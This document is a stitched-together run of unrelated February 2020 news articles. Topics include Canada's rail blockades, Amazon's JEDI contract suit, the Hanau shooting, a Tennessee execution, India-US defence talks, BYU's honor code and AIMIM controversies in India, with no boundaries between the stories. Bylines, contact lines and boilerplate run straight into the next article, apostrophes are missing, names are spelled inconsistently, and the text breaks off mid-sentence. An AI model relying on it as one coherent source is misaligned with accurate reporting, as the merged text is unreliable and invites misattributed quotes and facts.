Linux Foundation, please see our trademark usage page: https://www.linuxfoundation.org/trademark-usage . Linux is a registered trademark of Linus Torvalds. Media Contact Jill Lovato The Linux Foundation [email protected] SOURCE The Linux Foundation Related Links https://www.linuxfoundation.org By David Ljunggren OTTAWA, Feb 20 (Reuters) - As a blockade of Canada's rail lines drags on and the economic impact deepens, police aware of the bitter legacy created by past fatal clashes with indigenous protesters have chosen not to clear the tracks by force. For the past two weeks, campaigners blocked rail lines in Ontario, Quebec and Alberta in solidarity with a British Columbia (B.C.) aboriginal band that had stopped construction of a gas pipeline over its land. The cautious approach follows raids and arrests against the B.C. Wet'suwet'en band earlier this month that triggered the ongoing protest. The continued presence of federal police on Wet'suwet'en land had been holding up talks between politicians and chiefs aimed at ending the standoff. Public Safety Minister Bill Blair said on Thursday that the Royal Canadian Mounted Police (RCMP) had retreated from Wet'suwet'en land to a nearby town. The move "should bring us to a point now where the matter can be resolved," he said. The Wet'suwet'en have been fighting the pipeline for a decade, but tensions built up since police made arrests and cleared protesters in January 2019. A December ruling by a B.C. court led to this month's arrests. Though Canadian National Railway Co obtained an injunction against those preventing rail traffic from moving along its trunk line near Belleville, Ontario on Feb. 7, provincial police have been in no hurry to act. "We don't have a role in the underlying issues of the event and we're not in a position to resolve them. Protests and demonstrations are often complex in nature ... our goal is to preserve the peace and maintain a safe environment," said Ontario Provincial Police (OPP) spokeswoman Lori Lobinowich. Prime Minister Justin Trudeau's government and police insiders say deadly clashes over aboriginal groups' claims to land in Oka, Quebec, in 1990 and Ipperwash, Ontario, in 1995, as well as other violent confrontations, have changed their way of operating. Story continues "Let's look at the history and not repeat what's gone on in the past. Everyone knows what happened during the Oka crisis, everyone knows what happened during Ipperwash," said Indigenous Services Minister Marc Miller. In Oka, a Quebec police officer was shot dead during repeated clashes with Mohawks during a confrontation that lasted almost three months. The RCMP failed to restore order and the fighting only ended after troops were sent in. At Ipperwash, the OPP shot dead an indigenous man after the provincial government ordered a park to be cleared of protesters. As a result, regulations were issued forbidding Ontario politicians from telling the police what to do. "There are a number of things you have to take into account before you decide to take enforcement action and I think it's very much because of our historical experiences," said Tom Stamatakis, president of the Canadian Police Association. (Reporting by David Ljunggren, editing by Steve Scherer and Marguerita Choy) (Bloomberg) -- Amazon.com Inc. has asked a court to force the government to hand over documents related to Defense Secretary Mark Espers decision to recuse himself from making decisions on a $10 billion cloud-services contract. In a court filing made public on Friday, Amazon seeks a trove of documents to bolster its challenge of the Pentagons Joint Enterprise Defense Infrastructure, or JEDI, cloud contract that was awarded to Microsoft Corp. in October. Amazon Web Services, Amazons cloud unit, is also asking the U.S Court of Federal Claims to require the government to turn over materials that shed light on the role that Stacy Cummings, a deputy assistant secretary of defense, played in the procurement. Cummings communicated with the team evaluating JEDI bids and worked on preparations for JEDI-related meetings involving Esper, the lawsuit said. She recused herself from working on the procurement in September 2019, according to the lawsuit. In a previous filing, government lawyers argued that Amazon is not entitled to all materials relating to the recusals of Cummings and Esper. They added that Cummings had a conflict with Microsoft, that did not impact the procurement. Other files Amazon seeks include informal notes between the bid selection team members, JEDI-related content on digital channels and procurement documents that were presented to Esper and Deputy Secretary David Norquist. Representatives for the Defense Department and Microsoft didnt immediately respond to requests for comment. Amazon filed a lawsuit in November in the U.S. Court of Federal Claims alleging that the Defense Department failed to fairly judge its bid because President Donald Trump viewed Amazon Chief Executive Officer Jeff Bezos as his political enemy. Amazon asked the court earlier this month to allow it to question Trump, Esper, former Defense Secretary James Mattis, and Dana Deasy, the Pentagons chief information officer. In August 2019, the newly confirmed Esper ordered a review of the procurement after Trump endorsed criticism that the Pentagon had given Amazon an unfair advantage with the contracts design. Story continues The Pentagon announced in October that Esper would recuse himself from any decisions involving the contract to avoid the appearance of a conflict of interest. Espers son worked as a consultant for International Business Machines Corp., which along with Oracle Corp., had earlier been eliminated from the competition. Three days after Espers recusal, the Pentagon announced it had chosen Microsoft, an upset victory for the company that many in the industry viewed as a distant second to Amazon. A complete factual record on the bases for these recusals is especially critical in light of the well-grounded allegations AWS has made about the troubling circumstances surrounding the recusals of DoD personnel, the lawsuit said. The Pentagons JEDI project is designed to consolidate the departments cloud computing infrastructure and modernize its technology systems. Earlier this month, a judge agreed to block Microsoft from working on the contract while Amazons lawsuit is being litigated. To contact the reporter on this story: Naomi Nix in Washington at nnix1@bloomberg.net To contact the editors responsible for this story: Sara Forden at sforden@bloomberg.net, Paula Dwyer For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. Resistance to antibiotics has been declared a global health emergency and its not just humans who are impacted by this public health crisis. Antibiotics used in food-producing animals contribute to the development of bacteria that are resistant to treatment, impacting animal health and potentially human health. A special issue of Animal Health Research Reviews turns the spotlight on the science underlying this growing crisis - looking at the evidence base for using antibiotics to prevent illness in beef and dairy cattle, swine, and broiler poultry. The scientists who introduce the collection - from the University of Guelph in Canada and the Iowa State University - conclude that veterinarians and food-animal producers know far too little about prevention or control measures, including antibiotic efficacy and antibiotic alternatives that could help to support antibiotic stewardship among animals. The collection of 14 articles in the special issue - written by experts in the field from the US, Canada and beyond - examine publicly available evidence related to control of diseases in livestock and poultry. The articles, which are available via open source, focus on management practices that are designed to keep animals healthy and therefore reduce the need to use antibiotics - as well as looking at the administration of antimicrobials to prevent or control disease. Despite finding evidence that some of the interventions were effective, across the body of research scientists found inconsistency in outcomes among trials, and highlighted serious concerns related to the completeness of reporting and trial design and execution that have been hidden in veterinary medicine for years. For some interventions, scientists found that the body of evidence of efficacy was compelling. For example, a study of existing clinical trials on the efficacy of teat sealants for dairy cows found that the products studied were likely to be effective for reducing mastitis. Similarly, several antibiotics were shown to be effective at controlling respiratory diseases among cattle. However, other evidence was less compelling. For bovine respiratory disease in beef cattle, for example, scientists found no evidence that the current use of vaccines was effective. Similarly, for antibiotics and vaccines used to prevent bacterial respiratory disease in swine, the body of evidence was insufficient to determine whether or not these interventions were effective. For litter management in poultry and preventive antibiotics for the treatment of E coli, the body of evidence was also lacking. The reviews conducted as part of the special issue of Animal Health Research Reviews highlighted that more and better research on these issues is urgently needed to help guide decision-making on the best use of antibiotics in future. "As the threat of antimicrobial resistance grows, stewardship of these vital drugs is increasingly important in both human and animal health," the editors conclude. "Important facets of antimicrobial stewardship include using antibiotics judiciously as well as taking measures to minimize the need to use antimicrobials at all." ### To read this fully open access special issue of Animal Health Research Reviews, go to https://www.cambridge.org/core/journals/animal-health-research-reviews About Animal Health Research Reviews provides an international forum for the publication of reviews and commentaries on all aspects of animal health. Papers include in-depth analyses and broader overviews of all facets of health and science in both domestic and wild animals. Major subject areas include physiology and pharmacology, parasitology, bacteriology, food and environmental safety, epidemiology and virology. The journal is of interest to researchers involved in animal health, parasitologists, food safety experts and academics interested in all aspects of animal production and welfare. About Cambridge University Press Cambridge University Press is part of the University of Cambridge. It furthers the University's mission by disseminating knowledge in the pursuit of education, learning and research at the highest international levels of excellence. Its extensive peer-reviewed publishing lists comprise 50,000 titles covering academic research and professional development, as well as school-level education and English language teaching. Playing a leading role in today's international marketplace, Cambridge University Press has more than 50 offices around the globe, and it distributes its products to nearly every country in the world. For more information, go to http://www.cambridge.org/ahr Plans for street improvements on 52nd Street have spurred fears of gentrification in West Philadelphia. The murals on the Lucien Blackwell Free Library on Feb. 19, 2020. Read more The topic of the community meeting a plan to beautify 52nd Street, to make it safe, welcoming, and prosperous once again was, on its face, nothing but good news for West Philadelphias long-declining business corridor. Yet the audience of about 50 residents and retailers, mostly African American, grew increasingly agitated as urban designer Jonas Maciunas flipped through a PowerPoint presentation of proposed improvements. Many werent seeing a vision of a neighborhood revitalized from Market to Pine Streets. Instead, in the talk of redesigned intersections, leafy thoroughfares, and better bus shelters, they heard the ominous whisper of gentrification. It just seems that when white people decide to come back to a certain neighborhood, they want it a certain way, said Carol Morris, 68, a retired elementary school teacher. Morris declaration opened the floodgates of fear and anger that recent night at the Lucien E. Blackwell West Philadelphia Regional Library. Maciunas and Jesse Blitzstein, director of community and economic development for the nonprofit Enterprise Center, which is spearheading the project, were peppered with skeptical questions ranging from the validity of surveys showing community support for the improvements to the maintenance of trees that would be planted. West Philly is the new Africa, said Pamela Blanding-Godbolt, 58, a community activist and teaching assistant in the Philadelphia School District. Everyone wants the property thats in West Philadelphia. The meeting was yet another eruption of the angst roiling neighborhoods citywide as they struggle to balance the opportunities and the threats created by gentrification. Something as seemingly innocuous as widened sidewalks can be perceived as a prelude to bigger changes that will replace a black community with white wealth, leaving residents unable to afford to stay, or feeling like strangers in their own homes. READ MORE: West Phillys historic main street seeks a 21st-century identity Ive seen it happen across the country, said John Joe Schlichtman, professor of urban sociology at DePaul University in Chicago and a contributor to the book Gentrifier. The citys response would be: Why would any rational person not want what were deeming to be this universal good ... curbs where there are no curbs, sidewalks where there are no sidewalks, bike lanes where there are no bike lanes, transportation where theres no transportation?" The community reaction, though, he said, is a sophisticated response from people who have seen how improvements can signify a takeover from new, wealthier residents. Throughout Philadelphia, evidence abounds of what gentrification can do. Point Breeze, Brewerytown, Kensington all have seen significant changes in recent years. The neighborhoods west of University City havent been among the citys most rapidly changing, at least not for the better. In the last decade, household incomes have declined and poverty rates have risen in Cobbs Creek and Parkside, according to U.S. Census data. But redevelopment assuredly is inching in. In City Council District Three, encompassing much of West Philadelphia, 7,189 building and zoning permits were issued last year 3,000 more than in 2010 and in the .2-square-mile census tract that includes the 52nd Street business corridor, building permits nearly doubled over the same period. Also during that time, the median sale price of homes in the Cedar Park section jumped $100,000 to about $363,000, according to the housing website Zillow. The areas population remains predominantly black, but residents say theyve noticed a growing white presence. Maciunas was sensitive to questions about who, really, will benefit from change. Were not here to change culture, he said. Were here to change infrastructure to reflect culture. Once known as West Phillys Main Street, 52nd Street has a rich heritage as a cultural and commercial hub for African Americans; those who came of age in the mid-20th century hold fond memories of its jazz clubs and movie theaters. Maciunas PowerPoint presentation showed what happened next, though. The discriminatory practice of redlining kept African Americans from obtaining real estate loans and building wealth, and misguided efforts to compete with the suburbs led to development that turned the thoroughfare pedestrian-unfriendly. In the last 20 years, high crime coupled with an extensive repair project on the Market-Frankford Line left the street a shell of its former self. There have been improvements, but 52nd remains a barren, uninviting streetscape, with a distressing number of vacant properties and redundant businesses. The current revitalization push grew out of the citys interest in reviewing safety along 52nd Street. But, Blitzstein said, its about "more than safety. Its about making it ... easier to use and a more vibrant space to shop and do business. In the long term, Maciunas said, its about reversing the effects of decades of racist policy. The two men see a corridor in clear need of work. Its wide, straight lanes are a speedway, its lack of marked crosswalks encourage jaywalking, and its intersections with Walnut, Chestnut, Locust, and Pine have high numbers of car crashes resulting in injuries. They propose wider sidewalks and curb bump-outs to give pedestrians a clearer view of traffic, improved street lighting, and fewer signs and kiosks on the sidewalks. And they want trees a lack of greenery can make urban neighborhoods as much as 11 degrees hotter in the summer. Before taking any recommendations and funding requests to the city, which has not yet staked out its financial commitment, Maciunas and Blitzstein are gathering community feedback. Another meeting will be held on Wednesday at the Urban Art Gallery on South 52nd. But they already got an earful at the Blackwell library gathering. Drexel, Penn, theyre all branching out," said Morris, "and theyre all pushing for the neighborhoods to change so that their students will feel safe. Residents see constant reminders that change is coming. Blanding-Godbolt said she receives mailers weekly about selling her home near 52nd Street. And while Serita Lewis said she welcomes new arrivals if they respect the existing community, she is wary of people who eye properties as investments to flip or rent. They salivate over our homes, said Lewis, 48, who runs a business on 50th Street organizing community engagement programs. They just want to use our property and they dont want to help make our community better. History has given African American communities good reason to be skeptical, said Schlichtman, the DePaul professor. Their neighborhoods have either been neglected by city governments or subjected to projects that ignore the people living there. You have these 75-year-old residents who have seen generations of bright-eyed 28-year-olds come to them with the solution, he said. READ MORE: Racist property deeds kept thousands of Philly homes off-limits to all but white buyers, study finds Those attending the meeting acknowledged the potential benefits of redevelopment in West Philadelphia. Im not opposed to making sure theres socioeconomic development, Lewis said. Id be a fool to not want it. A revitalized 52nd Street, Maciunas told them, could be a powerful booster for homeowners as property values increase. We talk about generational theft having to do with redlining and urban renewal, he said. But this moment that were in, it could be one of the biggest transfers of wealth in the black community. The key to promoting change, he said, is observing the ideal use of an area in the case of 52nd Street, a walkable business district and embracing the existing community. I think the question were grappling with and honestly, neighborhoods around the city and around the country are, too is how you strike an ideal balance between old and new, Blitzstein said. Id like to be able to look back in five, 10, 15 years and feel that we did right by the community. Nicholas Todd Sutton NASHVILLE, Tenn. Tennessee executed death row inmate Nicholas Todd Sutton in the electric chair Thursday night, marking the fifth time the state has used the method since 2018. Sutton, 58, was pronounced dead at 7:26 p.m. CST, according to the Tennessee Department of Correction. Media witnesses said Sutton looked forward with a solemn expression in the moments before he died. Sutton thanked his wife and his family "for their love and support as they tried so very hard to save my life." Im just grateful to be a servant of God, and Im looking forward to being in his presence, Sutton said. "And I thank you. He was the 139th person put to death in Tennessee since 1916, and the seventh inmate executed since the state resumed capital punishment in August 2018. Lethal injection: Oklahoma to resume injection executions, 5 years after drug mix-ups, national ridicule Sutton was convicted of killing four people, including his grandmother Dorothy Sutton, his high school friend John Large and Charles Almon. He was sentenced to death for his involvement in the fatal stabbing of fellow inmate Carl Estep in 1985. Large's sister Amy Large Cook expressed relief that at least that chapter will be over in a statement read by a Department of Correction official. "John was denied the opportunity to live a full life with a family of his own," Cook said. "He suffered a terrible and horrific death, and for that I will never forgive Mr. Sutton." Tennessee was originally set to execute Sutton in 2015. Legal delays blocked that date. Sutton's attorneys hoped the courts or Gov. Bill Lee would intervene this time. They pointed to problems with the trial that put him on death row and to his remarkable transformation in prison, where correction officers said he had saved multiple lives. Lee declined Sutton's clemency application earlier this week. The U.S. Supreme Court denied a request for a stay minutes before he was put to death. Story continues Sutton was 18 years old when he embarked on the killing spree that shocked his east Tennessee community. Investigators learned to recognize what they called the "Sutton signature" bodies wrapped in plastic, bound in chains and weighted with cinder blocks. He killed Large, his childhood friend, and Almon, a Knoxville contractor. And then he targeted his grandmother, who adopted him after a childhood of abuse, neglect and addiction. Sutton knocked her unconscious with a piece of firewood, wrapped her in a blanket and trash bags, chained her to a cinder block and threw her alive into the Nolichucky River in Hamblen County. She drowned in the icy waters, an autopsy found. Sutton eventually led authorities to Large's body after a jury found him guilty of first-degree murder in his grandmother's death and sentenced him to life in prison. He'd killed Large, 19, on a trip to Mount Sterling, North Carolina, and buried his body in a shallow grave on property that belonged to Sutton's aunt. In October 1979, he shot Almon and dumped his body in a North Carolina quarry. Searchers found that corpse only after spending thousands of dollars searching in other spots as Sutton shifted his story. Less than five years into his prison term, Sutton helped stab Carl Isaac Estep, a convicted child rapist from Knoxville, more than three dozen times Jan. 5, 1985, at Morgan County Regional Correctional Facility. That was when a jury sentenced Sutton to death. Sutton did not dispute his role in four killings, but his lawyers said a history of altruism behind bars and other mitigating factors showed he deserved mercy. Inadequate trial representation had blunted Sutton's opportunities to avoid the death penalty, they said. They added "pervasive childhood trauma" had warped his brain. His father "was a violent, abusive and unstable man who suffered from severe mental illness, struggled with substance abuse and was repeatedly institutionalized," the application read. Sutton started taking illicit drugs with his father by 12, his lawyers wrote, beginning a lifelong addiction. Sutton's lawyers said he had "gone from a life-taker to a life-saver" after becoming sober in prison. His clemency application cited accounts from three prison officers who said Sutton stepped in to save their lives when he didn't have to, twice stepping between staff and angry inmates to diffuse potentially lethal conflicts. This article originally appeared on The Tennessean: Tennessee execution: Nicholas Todd Sutton executed by electric chair With a trade deal off the table, India and the US are looking to focus sharply on defence cooperation during the two-day visit of US President Donald Trump to India, and will, in all likelihood, indicate a calendar for the signing of the third foundational military communication agreement between the two countries during the visit, top officials familiar with the matter said on condition of anonymity. Talks on the finalisation of the Basic Exchange and Co-operation Agreement (BECA) are scheduled to begin as early as March, one of the officials said. BECA will allow India and the US to exchange geospatial maps to get pinpoint military accuracy of automated hardware systems and weapons such as cruise and ballistic missiles, apart from its civilian use. In addition, the two countries are likely to sign multiple deals for defence purchases, added this person. This includes a $2.4 billion deal for 24 MH-60R Sikorsky helicopters, and a $930 million deal for six Apache AH-64E attack helicopters for the army from Boeing, both of which were approved by the Cabinet Committee on Security earlier this week. There could also be a further order of eight Poseidon P8I multi-mission aircraft for the Indian Navy and a full spectrum missile shield for New Delhi. Also read | Ahead of visit, Trump talks of a tremendous deal with India The forthcoming visit is a rare one because President Trump will be accompanied by First Lady Melania Trump, daughter Ivanka Trump, and her husband Jared Kushner. Daughter Ivanka was conveyed a personal invite from PM Modi after which she agreed to accompany her parents and husband.The officials said the Trump administration suggested a visit after the US elections, but that the Indian side convinced them otherwise. The first official said President Trump was only keen on visiting Delhi but that India insisted that he do a public event in Ahmedabad on February 24, as a sort of direct outreach to Indians. Agra, this person said, was added at the First Ladys insistence. The second person said that the idea is for the President and the First Lady, and Kushner and Ivanka Trump to see the Taj Mahal in Agra at sunset on February 24. If they make it back to Delhi early enough, this person added, they might have a quiet private dinner with Prime Minister Narendra Modi. Bilateral talks are scheduled for the following day. The joint statement at the end of the talks will also likely focus strongly on terrorism and cooperation between the two countries on tackling it, the second person said. The US, he pointed out, had emerged Indias staunchest ally on this front in recent years whether it is the listing of terrorist Masood Azhar or raising the issue of Pakistan sheltering Indias most wanted man, Dawood Ibrahim, at the Asia Pacific FATF meet. The statement may also mention a deepening of hydrocarbon trade between the two countries. From almost nothing in 2014, the US hydrocarbon exports to India have risen to around $9 billion. Also read | Gujarat forms committee to oversee Donald Trump event While both countries are keen on a trade deal, there are some sticky issues, the two officials said, adding that there is also ambition on both sides to announce a substantial deal rather than an incremental one. Market access to Indian products and tariffs remain sticky issues, they added, as does Indias digital nationalism in the financial payments space. However, progress on BECA should help offset that, the two officials said. Along with Communications Compatibility and Security Agreement (COMCASA) and Logistics Exchange Memorandum of Agreement (LEMOA), BECA is one of the foundational military communication agreements between the two countries. LEMOA, which allows the Indian and American defence forces to use each others facilities and establishes procedures of easier access of supplies and services required by them, was signed in 2016. COMCASA, which allows the US to transfer communication equipment to India that allow secure transmission of data and real-time information between the armed forces of the two countries, was sealed during last years Two-Plus-Two talks in Washington. And in December last, the two countries signed the Industrial Security Annexe to the General Security of Military Information Agreement, which provides a boost to the Make in India initiative by allowing sharing of classified information between defence manufacturers of the two countries with the full backing of governments. SHARE THIS ARTICLE ON Actions must follow words, said the cousin of one of those killed in Hanau on Wednesday night. Hanau, Germany Thursdays attack in the small western city of Hanau has deepened fears in Germany that minority communities are vulnerable to fascist and Islamophobic violence, and has raised questions about how much state authorities are doing to combat any threat. The killings of 10 people, mostly with immigrant backgrounds, has also prompted a backlash against the far-right Alternative for Germany (AfD) party, which one senior politician said should be placed under surveillance. At Friday prayers on the outskirts of the city, attendees continued to pay respects to the dead, with some members of the local Kurdish community asking what action could be taken to prevent another attack. We dont believe yet that this mentality has been spread everywhere; we know that theres still a society that likes its diversity, said Mohamed Erkelen, shortly after leading prayers for one of the victims. The fascist mentality and fascist organisations do not have a place in this society, he told Al Jazeera, adding that political figures need to take stronger action to ease concerns among minority groups. Tobias Rethjen, the 43-year-old killer from Hanau, posted a number of far-right conspiracy videos on YouTube, as well as publishing a lengthy manifesto on social media, in which he espoused racist and eugenicist views, Germanys federal prosecutor said. On Wednesday night, Rathgen burst into a shisha bar in the central area of Haumarkt, gunning down at least three people before driving to the west of the city and killing five more at another shisha bar and a small shop nearby. He then returned to his apartment, shooting dead his 72-year-old mother and then himself. Police are investigating whether Rathjen had any contact with or support from other organisations or individuals who advocated violence. Officials confirmed they had received a letter from him last November, but it did not contain any direct threats of violence and no further action was taken. Ali Unvars cousin, Fehrad, was shot dead while buying cigarettes. He is convinced that police reports of Rethjen scouting the scene of the second shooting in the days before the attack is evidence that he meant to target Muslims or Arabs. The location he searched, its often the meeting point for [people with immigrant backgrounds], young people from Kurdistan, from Turkey, from Arabic states, Unvar told Al Jazeera. He had racist opinions thats why he went to this location. Ali Unvar, cousin of one of the victims, has called for politicians to back up their words with concrete actions to protect minority communities [Ruairi Casey/Al Jazeera] Before he spoke at a rally in Hanaus main square on Thursday night, calling the murders an act of terror, German President Frank-Walter Steinmeier met with families of the victims, including Unvar. The words were lovely and good, but they have to do something, he said. We dont want the names of Fehrad and the others that died to be lost in two weeks. Actions must follow words. The attack follows several high-profile incidents of far-right militancy in Germany, including the murder of politician Walter Lubcke in Kassel last June and a shooting at a synagogue in Halle in October that left two dead. Last week, police arrested 12 neo-Nazis across several German states, believed to have been part of a cell coordinating attacks against multiple mosques, apparently influenced by the Christchurch massacre in New Zealand last year. One person carried out the shooting in Hanau, thats what it looks like, but there were many that supplied him with ammunition, and AfD definitely belongs to them, Lars Klingbeil, general secretary of the Social Democratic Party, told public broadcaster ARD. Klingbeil called for the AfD which holds hardline anti-migrant and Islamophobic views to be placed under surveillance by the German domestic intelligence agency. Parts of the party, including the extreme Wing faction and its youth branch, are already under surveillance, suspected of posing a threat to democracy in the country. German Interior Minister Horst Seehofer, who visited one of the murder sites in Hanau on Thursday, announced that the surveillance and presence of police officers would be stepped up at sensitive sites across the country, including mosques, train stations, airports and borders. The threat posed by far-right extremism, anti-Semitism and racism is very high in Germany, he said at a news conference in Berlin on Friday. But for Unvar, security in Germany does not mean armed police officers at mosques, but a society that values the lives of residents, whatever their background or religion, and holds them equal. The police cannot be 24 hours around every Muslim and others, he said. [Political leaders] have to change the minds of the people in Germany That we are all one nation and people are the same. Famously conservative Brigham Young University in Provo, Utah, has deleted a section of its student honor code banning homosexual behavior on campus. While the change was done with little fanfare, it was met with celebration by LGBT students on the Church of Jesus Christ of Latter-day Saints owned-campus. Talking to CNN, Franchesca Lopez, a student at BYU studying sociology, was cautiously optimistic about the development at the college. I feel free and cared for by the university for the first time in a long time, she said. I really hope they dont disappoint me again. The student honor code previously banned all forms of physical intimacy between members of the same sex. Though that section of the code has since been deleted, it is unclear whether the university will tolerate same-sex shows of affection on campus. Big Gay Kiss protest - In pictures Show all 8 1 /8 Big Gay Kiss protest - In pictures Big Gay Kiss protest - In pictures Kashmira Gander Big Gay Kiss protest - In pictures Kashmira Gander Big Gay Kiss protest - In pictures Kashmira Gander Big Gay Kiss protest - In pictures Kashmira Gander Big Gay Kiss protest - In pictures Kashmira Gander Big Gay Kiss protest - In pictures Kashmira Gander Big Gay Kiss protest - In pictures Kashmira Gander Big Gay Kiss protest - In pictures Kashmira Gander The university issued a statement on Twitter noting that the principles of the Honor Code remain the same and that questions arising from the change will be handled on a case by case basis. However, according to some students who spoke to The Salt Lake Tribune, the university has told them individually that displays of physical affection would be tolerated so long as the couples remain chaste, a rule that is still part of the student honor code. I am personally very excited, Mr Bowman said. While I still think there are serious problems with the office, I am very happy that they are taking steps towards equality. I am hopeful that this will lead to less homophobia on campus from students, professors, faculty, bishops, etc. Recommended Mormon college graduate speech goes viral in coming out speech The changes at BYU are reflective of broader changes in the Mormon Church. Last spring, the church updated its handbook, changing the way the church viewed homosexuality. In the past, the church viewed homosexual individuals as apostates. The new changes encourage Mormons to reach out with sensitivity, love and respect to persons who are attracted to others of the same sex. It goes on to call for all couples, regardless of sexual orientation, to strive for chastity. Prior to the change, more than 1,500 liberal and LGBT Mormons fled the church. Highlights Google has removed 600 apps from Play Store on Thursday for violating its ad policies. For now, Google has not revealed the names of apps that have been removed or the details of the developers behind these apps. Google says that mobile ad fraud is an industry-wide problem and that it can significantly affect the users experience. Does it happen to you that you are in middle of doing something important on your phone and suddenly an ad pops up and ruins whatever you are doing? It often happens because there are rogue apps that put ads before everything else. Now, Google, which maintains Android, is cracking down on it. Google on Thursday announced that it has removed around 600 apps from Google Play Store and has banned them from its monetisation platform for not adhering to its policies. As part of our ongoing efforts -- along with help from newly developed technologies -- today we're announcing (that) nearly 600 apps have been removed from the Google Play Store and banned from our ad monetisation platforms, Google AdMob and Google AdManager, for violating our ads policy, said Per Bjorke, Google's Senior Product Manager, in its security blog. Writing about mobile ad fraud, Bjorke said it was an industry-wide challenge. It comes in many forms and can be dangerous and harmful to phone users, publishers and advertisers. Disruptive ads, Google defines, are those ads which appear on the screen in "unexpected ways" and disrupt the user experience. While they can occur in-app, one form of disruptive ads we've seen on the rise is something we call out-of-context ads, which is when malicious developers serve ads on a mobile device when the user is not actually active in their app, Bjorke said. Google has thus become a little more stringent as far as ads are concerned and wants apps not to indulge in mobile ad-fraud. Google has said that it has set up a team to detect and stop malicious developers. It further states that these ads are often masked to make them look savvier. For now, Google has not given names of the developers and apps that it has banned from its app store. In 2018, Google banned Cheetah Mobile, which was one of the biggest app developers from Play Store, and Google's ad networks. The apps which were banned were installed 4.5 billion times and primarily targeted English-speaking users. The developers of these apps were mainly based in China, Hong Kong, Singapore and India. ToTok, a UAE-based app, was also removed from Play Store earlier this month. The app was allegedly used by government of United Arab Emirates to spy on chats, location and social connections of users, NYT reported in December. However, it was again put back in the Play Store January, apparently after modifications to it satisfied Google. As we move forward, we will continue to invest in new technologies to detect and prevent emerging threats that can generate invalid traffic, including disruptive ads, and to find more ways to adapt and evolve our platform and ecosystem policies to ensure that users and advertisers are protected from bad behaviour, Bjorke concluded. Union Minister Mukhtar Abbas Naqvi on Friday criticised AIMIM chief Asaduddin Owaisi over a teen activist raising Pro-Pakistan slogans at his rally and called it a result of "sowing poison" in the minds of people. Naqvi claimed that Owaisi "likes the Pakistan Zindabad" slogan raised by the activist during his Anti-CAA rally in Bengaluru. He further said that the AIMIM leader has "reaped the result of sowing poison in people's minds." "The kind of slogans you like, the same kind will be raised in front of you. This is all about likeness, the Union Minister said. "Secondly, this is the result of sowing poison. You reap what you sow. No countryman will accept slogans of "Hindustan Murdabaad, and Pakistan Zindabad" on the platform of any political party. Unacceptable, Naqvi added." READ | Pro-Pak Sloganeer At Owaisi Rally Charged With Sedition, Sent To 14-day Judicial Custody Activist raises Pro-Pak slogans, Owaisi condemns the act During an Anti-CAA rally held by AIMIM chief Asaduddin Owaisi on Thursday, a 19-year-old activist named Amulya Leona had disrupted an address by Owaisi and raised Pro-Pak slogans. Visuals showed that Owaisi tried to grab her mike while authorities tried to get her off stage. It was unclear what exactly the woman said, but it is believed that she raised certain pro-Pakistan slogans. The activist was heckled out by those on the stage and taken away by police. Shortly after the incident, Asaduddin Owaisi condemned activist Amulya Leona for chanting pro-Pakistan slogans at his rally and demanded an inquiry into the matter by the organisers of the event. He further told the reporters that he had nothing to do with the sloganeer. The activist was charged with sedition on Friday and has also been sent to 14-day judicial custody. READ | Pro-Pak Slogan By Activist At Owaisi Event 'underbelly Of These Protests': BJP's Malviya READ | 'Highly Provocative': BJP Slams Waris Pathan's '15 Cr' Threat, Claims Owaisi Gave Consent Naqvi on Waris Pathan's '15 Crore' Threat Responding to AIMIM spokesperson Waris Pathans shocking communal threat on the same day, Union Minister Mukhtar Abbas Naqvi stated that such "inflammatory speech" was an attempt to "provoke people and to save their own existence" "By provoking and using poisonous languages, they are trying to save their existence. Such inflammatory speeches are meant to mislead people and to save their existence," Naqvi claimed. On Thursday, a video had surfaced on social media, showing AIMIM leader Waris Pathan threatening '15 crore (Muslims) will be tough on 100 crores'. The former Byculla MLA while addressing a rally in Karnataka's Gulbarga on February 15 said that one must snatch 'Azadi' if not given. He added that the 'lionesses have made all sweat', referring to the Shaheen Bagh-like protests. READ | AIMIM's Waris Pathan Makes Hateful '15 Cr Vs 100 Cr' Threat, Echoes Akbaruddin Owaisi Michael Nyarko Ampem 21.02.2020 LISTEN The Greater Accra Poultry Farmers Association (GAPFA) has condemned the importation of salmonella infested gizzard onto the Ghanaian market. The GAPFA has since 2019, been advocating and campaigning for local poultry consumption, calling on government to assist and empower local poultry farmers to thrive. The association has as well been strongly appealing to government for a regulated quota system to limit the almost 80 per cent of poultry products imported into Ghana annually. GAPFA maintains that a well-structured quota system with market availability will encourage local poultry producers to fill the gap and produce enough to feed all citizens. If these gizzards were produced locally, it would be easier for the authorities to trace the producers and demand for accountability. It becomes more difficult to trace the culprits of the imported product, President of GAPFA, Mr. Michael Nyarko Ampem, noted. Officials of the Ministry of Food and Agriculture (MoFA) have said it has intercepted one 40-footer container of salmonella infested gizzard at the Tema Port, after receiving a tip-off from authorities in Brazil where the gizzard was imported by two Ghanaian food import companies. The importers, however, were able to clear three of such containers ahead of the officials and had succeeded in getting the products into the market. Director of Veterinary Services Directorate at MoFA, Dr. Asiedu Baah who confirmed the incidence to the media, said, Out of the four containers three have been cleared and we did a trace-back and found out that indeed the importers have taken out three containers and sold the unwholesome products to the general public. Officials said the companies imported the products without import permits and veterinary health certificates. Albeit, the MoFA has filed a complaint to the BNI and it is awaiting sanctions and prosecutions. Meanwhile, the GAPFA is appealing to government to expedite investigations to bring the culprits to book. With a membership of about 700 poultry farmers, the GAPFA, established in 1978 was the only poultry farmer association in Ghana with a feed mill. ---Daily Guide Mumbai, Feb 21 : A huge political storm has erupted over a former Mumbai legislator of All Indian Majlis-e-Ittehadul Muslimeen (AIMIM) Waris Pathan for his comments at an anti-CAA protest in neighbouring Karnataka. While the Maharashtra Navnirman Sena leader Bala Nandgaonkar has issued an open threat to Pathan, activist lawyer Syed Ejaz Abbas 'Naqvi' has written to the police to lodge a first information report against him. The howls of protests started after Pathan's February 15 comments in Kalburgi where he reportedly said that "15 crore (Muslims) will prove stronger than the 100-crore majority". "They say we have kept our women in the forefront. I want to tell these people -- only the lionesses have come out and you are in a cold sweat. You can understand what would happen if all of us come together. "We are just 15 crore but can be a bigger force than the 100-crore majority population," Pathan said. He added that the minority community could well snatch "your azaadi". As the issue snowballed into a political controversy, AIMIM chief Asaduddin Owaisi on Friday is understood to gagged Pathan and has ordered him not to speak with the media till further orders. MNS leader Nandgaonkar issued a "warning" to the AIMIM ex-legislator, daring him to a challenge for which he would be taught an appropriate lesson. Mumbai lawyer Naqvi has alleged that Pathan is being allegedly financed by "another hate-monger from Nagpur" who are the biggest beneficiary of the hate-speeches of AIMIM and demanded a probe into both sides. In a statement, Pathan said that 